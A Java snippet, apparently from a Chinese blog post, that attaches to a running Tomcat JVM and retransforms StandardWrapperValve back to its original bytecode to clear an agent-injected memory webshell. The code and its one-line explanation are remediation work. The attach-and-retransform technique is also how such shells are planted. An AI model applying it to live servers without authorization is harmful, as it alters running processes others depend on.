public class AgentClear {
public static final String CLASSNAME = "org.apache.catalina.core.StandardWrapperValve";

public static void agentmain(String args, Instrumentation inst) throws Exception {
for (Class clazz : inst.getAllLoadedClasses()) {
if (clazz.getName().equals(CLASSNAME)) {
inst.addTransformer(new RecoveryTransform(), true);
inst.retransformClasses(clazz);
}
}
}

public static void main(String[] args) throws Exception {
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for (VirtualMachineDescriptor desc : list) {
String name = desc.displayName();
String pid = desc.id();

if (name.contains("org.apache.catalina.startup.Bootstrap")) {
System.out.println("To: " + pid);
VirtualMachine vm = VirtualMachine.attach(pid);
vm.loadAgent("E:\\Zodog\\Pros\\TomcatShell\\AgentClear\\target\\AgentClear-1.0-SNAPSHOT-jar-with-dependencies.jar");
vm.detach();
System.out.println("attach ok");
break;
}
}
}
}

class RecoveryTransform implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
try {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(className);
byte[] bytes = clazz.toBytecode();
clazz.detach();
System.out.println(className + " 已经被还原");
return bytes;
} catch (Exception e) {
e.printStackTrace();
}
return classfileBuffer;
}
}

原理就是利用这个agent重新将字节码修改为正常字节码


Reference: